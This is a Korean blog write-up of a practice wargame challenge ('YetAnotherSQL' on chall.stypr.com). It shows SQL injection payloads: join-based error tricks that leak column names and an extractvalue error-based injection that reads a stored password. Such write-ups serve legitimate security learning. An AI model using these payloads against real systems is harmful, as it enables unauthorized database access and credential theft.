webhacking/sql, sql injection

chall.stypr.com YetAnotherSQL

qkqhxla1 2015. 5. 24. 16:24

들어가서 소스를 보면 ./index.php.bak 를 다운받아서 소스를 볼 수 있다.

다운받아 보면 이전에 adm1nkyj님의 join문제와 소스가 거의 똑같다. 그런데 한번 더 꼬아놨다.


관련자료 : http://qkqhxla1.tistory.com/321


어쨋든 이 문서를 보고 컬럼 정보를 하나하나 알아내보자. id와 pw컬럼정보가 둘다 없으므로 id부터

하나하나 뽑아보자.


id = and (select * from (select * from user join user a) b)--+

pw = \

를 입력해보면


dkfHDdladkID 라는 아이디 컬럼이 나온다. 그럼 pw 컬럼도 뽑아보면.

id = and (select * from (select * from user join user a using(dkfHDdladkID)) b)--+

pw = \


dkfHDdladkPWfde라는 pw컬럼이 나온다. 

if($R['{BLIND_PASSWORD_COLUMN}'] == "{BLIND_STYPR_PASSWORD}")

이므로 stypr의 password를 찾는게 목적이다. (아래 주석에도 써있다.) 이제 컬럼 이름을 알았으니

본격적인 sqli를 해주면 된다. 필터링 되는 문자들을 살펴본 결과 extractvalue가 없으므로 이걸 이용한 에러 기반 인젝션을 해주자.


id = and%20extractvalue(1,concat(1,(select%20dkfHDdladkPWfde%20from%20user)))--+

pw = \ 

처럼 입력하면 답이 보인다. 통과.

'webhacking > sql, sql injection' 카테고리의 다른 글

wargame.kr dmbs335  (0) 2015.06.27
hackcat 테스트용 웹문제  (0) 2015.06.04
wargame.kr SimpleBoard  (0) 2015.03.29
mysql 새발견, 5.7.5이상 에러기반 인젝션  (0) 2015.03.26
adm1nkyj님의 워게임. prob2, 8  (0) 2015.03.25